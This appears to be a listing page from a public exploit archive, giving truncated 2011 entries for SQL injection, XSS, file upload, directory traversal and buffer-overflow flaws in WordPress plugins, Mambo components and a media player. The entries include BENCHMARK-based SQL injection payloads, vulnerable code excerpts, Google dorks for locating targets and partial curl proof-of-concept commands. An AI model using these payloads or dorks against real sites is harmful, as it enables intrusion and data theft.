WordPress Plugin Count per Day 2.17 - SQL Injection

Exploit Title: WordPress Count per Day plugin getresults'SELECT FROM '.$tableprefix.'cpdnotes WHERE 1 '.$where.' ORDER BY date DESC', ARRAYA;...

WordPress Plugin A to Z Category Listing 1.3 - SQL Injection

Exploit Title: WordPress A to Z Category Listing plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- $initletter = $GET'R'; $sql = "select from ".$tableprefix."terms wpt,".$tableprefix."termtaxonomy wptt where wpt.name like...

WordPress Paid Downloads 2.01 SQL Injection

Exploit Title: WordPress Paid Downloads plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- $downloadkey = $GET"downloadkey"; $sql = "SELECT FROM ".$wpdb-prefix."pddownloadlinks WHERE downloadkey = '".$downloadkey."'"; $linkdetails =...

WordPress WP Forum Server 1.7 SQL Injection

Exploit Title: WordPress WP Forum Server plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20&editpostsubject=test&message=dummy&threadid=1 e.g. curl --data "editpostsubmit=1&editpostid=-1 AND...

WordPress Zotpress 4.4 SQL Injection

Exploit Title: WordPress Zotpress plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0%23 --------------- Vulnerable code --------------- if $mzrapiuserid == false && $mzrinclude == false && isset$GET'apiuserid' && pregmatch"/^0-9+$/", $GET'apiuserid' $mzrapiuserid = trim$GET'apiuserid';...

Mambo N-Skyrslur Cross Site Scripting

------------------------------------------------------------------------------------------------------------------------------- Exploit Title: Mambo Component comn-skyrslur XSS & HTML Injection Vulnerability Google Dork: inurl:index.php?option=comn-skyrslur Date: 01/09/2011 Author: CoBRa21...

Mambo N-Namskeid Cross Site Scripting

------------------------------------------------------------------------------------------------------ Exploit Title: Mambo Component comn-namskeid XSS & HTML Injection Vulnerability Google Dork: inurl:index.php?option=comn-namskeid Date: 01/09/2011 Author: CoBRa21 Penetration Tester E-Mail:...

Mambo AHS Shop SQL Injection

------------------------------------------------------------------------------------------------------ Exploit Title: Mambo Component comahsshop SQL Injection Vulnerability Google Dork: inurl:index.php?option=comahsshop Date: 01/09/2011 Author: CoBRa21 Penetration Tester E-Mail:...

Mambo N-Frettir SQL Injection

------------------------------------------------------------------------------------------------------ Exploit Title: Mambo Component comn-frettir SQL Injection Vulnerability Google Dork: inurl:index.php?option=comn-frettir Date: 01/09/2011 Author: CoBRa21 Penetration Tester E-Mail:...

Wordpress grapefile plugin <= 1.1 Arbitrary File Upload

Exploit for php platform in category web applications Title: Wordpress grapefile plugin = 1.1 Arbitrary file upload Date: 30-8-2011 Author: Hrvoje Spoljar hrvoje.spoljaratgmail.com Version: 1.1 Software link:http://wordpress.org/extend/plugins/grapefile/ PoC: curl -F "email protected"...

WordPress Plugin Couponer 1.2 - SQL Injection

Exploit Title: WordPress Couponer plugin = 1.2 SQL Injection Vulnerability Date: 2011-08-31 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/couponer.zip Version: 1.2 tested Note: magicquotes has to be turned off --- PoC ---...

WordPress Photoracer plugin &lt;= 1.0 SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress Photoracer plugin = 1.0 SQL Injection Vulnerability Google Dork: inurl:"wp-content/plugins/photoracer/viewimg.php" Date: 2011-08-26 Author: evilsocket evilsocket at gmail dot com Software Link:...

yahoo! player 1.5 (.m3u) Universal Buffer Overflow (SEH)

No description provided by source. !/usr/bin/perl Exploit Title: yahoo! player 1.5 .m3u Universal Buffer Overflow SEH Date: 27/08/2011 Author: D3r K0n!G Software Link: http://www.clubic.com/lancer-le-telechargement-8059-0-yahoo-player.html Version: 1.5.01.409 Tested on: Windows XP SP3 CVE : N/A...

WordPress oQey Headers 0.3 SQL Injection

Exploit Title: WordPress oQey Headers plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- ifisset$GET'imgheaderid'//order images foreach $GET'imgheaderid' as $position = $item $hupdate = sprintf"UPDATE $oqeyheader SET oqeyhorder = '%d'...

Joomla! Component mod_simpleFileLister 1.0 - Directory Traversal

Exploit Title: Joomla Simple File Lister module = 1.0 Directory Traversal Vulnerability Google Dork: "Simple File Lister v1.0" "Files in directory" Date: 2011-08-28 Author: evilsocket evilsocket at gmail dot com Software Link:...

WordPress SendIt plugin <= 1.5.9 Blind SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: WordPress SendIt plugin getvar"SELECT COUNT FROM $tableemail where email ='$POSTemailadd' and idlista = '$POSTlista';"; As you can see, $POSTlista parameter is nor validated neither escaped, so you can blind sql inject it using...

WordPress Plugin Global Content Blocks 1.2 - SQL Injection

WordPress Plugin Global Content Blocks 1.2 - SQL Injection Exploit Title: WordPress Global Content Blocks plugin 0 // intval"1a" = 1 : $entry = $wpdb-getrow"select from ".$wpdb-prefix."gcb where id=".$id; $finaltext = base64encode$entry-name."". base64encode$entry-description.""...

WordPress Contus HD FLV Player 1.3 SQL Injection

Exploit Title: WordPress Contus HD FLV Player plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0&listItem=1 --------------- Vulnerable code --------------- $pid1 = $GET'playid'; foreach $GET'listItem' as $position = $item : mysqlquery"UPDATE $wpdb-prefix" . "hdflvmed2play SET sorder =...

WordPress Plugin Global Content Blocks 1.2 - SQL Injection

Exploit Title: WordPress Global Content Blocks plugin 0 // intval"1a" = 1 : $entry = $wpdb-getrow"select from ".$wpdb-prefix."gcb where id=".$id; $finaltext = base64encode$entry-name."". base64encode$entry-description."". base64encode$entry-value."". base64encode$entry-type;...

WordPress Plugin Ajax Gallery 3.0 - SQL Injection

Exploit Title: WordPress Ajax Gallery plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 --------------- Vulnerable code --------------- if isset $GET 'delete' && isset $GET'gId' $wpdb-query "DELETE FROM $wpdb-options WHERE optionname='agItem' and optionid=".$GET'gId' ; echo "Galeria...